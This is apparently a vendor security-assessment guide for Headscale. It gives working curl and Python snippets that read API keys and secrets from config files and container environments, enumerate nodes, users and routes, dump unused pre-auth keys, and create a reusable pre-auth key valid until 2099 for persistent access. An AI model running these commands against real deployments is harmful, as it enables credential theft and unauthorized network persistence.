Headscale is the dominant self-hosted alternative to the Tailscale control plane, allowing organizations to run their own WireGuard mesh network without relying on Tailscale's cloud infrastructure. As the control plane for a zero-trust network, Headscale is the most critical component: it issues credentials to all nodes, manages network topology, and controls which peers can communicate. Key assessment areas: Headscale API keys stored in config.yaml provide full administrative access including node enumeration, pre-auth key creation, and route management; GET /api/v1/node returns all registered nodes with their WireGuard public keys, assigned IPs, and last-seen timestamps; pre-auth keys with reusable=true allow unlimited device joins without per-device approval; the Headscale gRPC endpoint accepts API key authentication for all operations; and Headscale's SQLite or PostgreSQL database contains the complete network state including all node keys. This guide covers systematic Headscale security assessment.
# Headscale API key authentication — full admin access to control plane
HEADSCALE_URL="https://headscale.example.com"
API_KEY="your-headscale-api-key"
# Verify API key and get server info
curl -s "${HEADSCALE_URL}/api/v1/apikey" \
-H "Authorization: Bearer ${API_KEY}" 2>/dev/null | python3 -c "
import json,sys
try:
d=json.load(sys.stdin)
keys = d.get('apiKeys',[])
print(f'API AUTHENTICATED. Keys on server: {len(keys)}')
for k in keys:
print(f' Prefix: {k.get(\"prefix\")} created={k.get(\"createdAt\")} expiry={k.get(\"expiration\")} lastUsed={k.get(\"lastSeen\")}')
except Exception as e:
print(f'Error: {e}')
" 2>/dev/null
# API key location in Headscale config — commonly stored in plaintext
cat /etc/headscale/config.yaml 2>/dev/null | grep -A2 'api_key\|noise\|private_key'
# Config also reveals:
# - OIDC provider secrets for user authentication
# - SMTP credentials for notification emails
# - Database connection string with credentials
# - DERP server configuration
# Check Headscale service config for API key via environment
systemctl show headscale --property=Environment 2>/dev/null
docker inspect headscale 2>/dev/null | python3 -c "
import json,sys
try:
c=json.load(sys.stdin)[0]
for e in c.get('Config',{}).get('Env',[]):
if any(k in e.upper() for k in ['KEY','SECRET','TOKEN','PASSWORD']):
print(e)
except: pass
" 2>/dev/null
# Headscale node and network enumeration via REST API
HEADSCALE_URL="https://headscale.example.com"
API_KEY="your-headscale-api-key"
# List all registered nodes — complete network topology
curl -s "${HEADSCALE_URL}/api/v1/node" \
-H "Authorization: Bearer ${API_KEY}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
nodes = d.get('nodes',[])
print(f'Registered nodes: {len(nodes)}')
for n in nodes:
print(f' [{n.get(\"id\")}] {n.get(\"name\")} IP={n.get(\"ipAddresses\")} online={n.get(\"online\")}')
print(f' User: {n.get(\"user\",{}).get(\"name\")} lastSeen={n.get(\"lastSeen\")}')
print(f' WireGuard pubkey: {n.get(\"publicKey\",\"\")[:40]}...')
routes = n.get('enabledRoutes',[])
if routes:
print(f' Advertised routes: {routes}') # reveals internal network subnets
" 2>/dev/null
# List all users in the Tailnet
curl -s "${HEADSCALE_URL}/api/v1/user" \
-H "Authorization: Bearer ${API_KEY}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
users = d.get('users',[])
print(f'Users: {len(users)}')
for u in users:
print(f' [{u.get(\"id\")}] {u.get(\"name\")} created={u.get(\"createdAt\")}')
" 2>/dev/null
# Get all routes — reveals subnets advertised into the mesh network
curl -s "${HEADSCALE_URL}/api/v1/routes" \
-H "Authorization: Bearer ${API_KEY}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
routes = d.get('routes',[])
print(f'Advertised routes: {len(routes)}')
for r in routes:
print(f' {r.get(\"prefix\")} node={r.get(\"node\",{}).get(\"name\")} enabled={r.get(\"enabled\")} isPrimary={r.get(\"isPrimary\")}')
" 2>/dev/null
# Headscale pre-auth keys — enable device join without per-device approval
HEADSCALE_URL="https://headscale.example.com"
API_KEY="your-headscale-api-key"
# List all pre-auth keys — reveals reusable and unexpired keys
curl -s "${HEADSCALE_URL}/api/v1/preauthkey" \
-H "Authorization: Bearer ${API_KEY}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
keys = d.get('preAuthKeys',[])
print(f'Pre-auth keys: {len(keys)}')
for k in keys:
print(f' User: {k.get(\"user\")} reusable={k.get(\"reusable\")} ephemeral={k.get(\"ephemeral\")}')
print(f' Expiry: {k.get(\"expiration\")} used={k.get(\"used\")}')
if not k.get('used') or k.get('reusable'):
print(f' KEY VALUE: {k.get(\"key\")}') # pre-auth key value for device registration
print(f' IMPACT: tailscale up --login-server={HEADSCALE_URL} --authkey= joins network')
" 2>/dev/null
# Create a new pre-auth key for persistent access (requires admin)
curl -s -X POST "${HEADSCALE_URL}/api/v1/preauthkey" \
-H "Authorization: Bearer ${API_KEY}" \
-H "Content-Type: application/json" \
-d '{
"user": "default",
"reusable": true,
"ephemeral": false,
"expiration": "2099-01-01T00:00:00Z",
"aclTags": []
}' 2>/dev/null | python3 -c "
import json,sys
try:
d=json.load(sys.stdin)
key = d.get('preAuthKey',{}).get('key','')
if key:
print(f'PERSISTENT PRE-AUTH KEY CREATED: {key}')
print('Use: tailscale up --login-server= --authkey=')
except: pass
" 2>/dev/null
| Security Test | Method | Risk |
|---|---|---|
| API key administrative access | GET /api/v1/node with API key header — returns all registered nodes with WireGuard public keys, assigned IPs, last-seen timestamps, and advertised subnets; provides complete network topology of the mesh | High |
| Reusable pre-auth key enumeration | GET /api/v1/preauthkey — returns all pre-auth keys including reusable ones; a reusable unexpired key allows any device to join the network; keys with used=false are immediately exploitable for network access | Critical |
| Advertised route extraction | GET /api/v1/routes — returns all subnets advertised into the mesh; reveals internal network topology including RFC 1918 ranges accessible via Headscale exit nodes and subnet routers | High |
| Config file credential exposure | Read /etc/headscale/config.yaml — contains OIDC client secret, SMTP password, database connection string with credentials, and path to server private key; full config read enables reconstruction of all Headscale secrets | Critical |
| Node key enumeration | GET /api/v1/node — returns WireGuard public key for every registered node; maps VPN IPs to node names to real identities; combined with route data reveals complete network access map | Medium |
Ironimo tests Headscale deployments for API key exposure and administrative access scope, node and peer WireGuard key enumeration, reusable pre-auth key detection and exploitation risk, advertised route and subnet topology mapping, config.yaml credential extraction assessment, ACL policy audit for zero-trust enforcement gaps, and OIDC vs local authentication configuration review.
Start free scan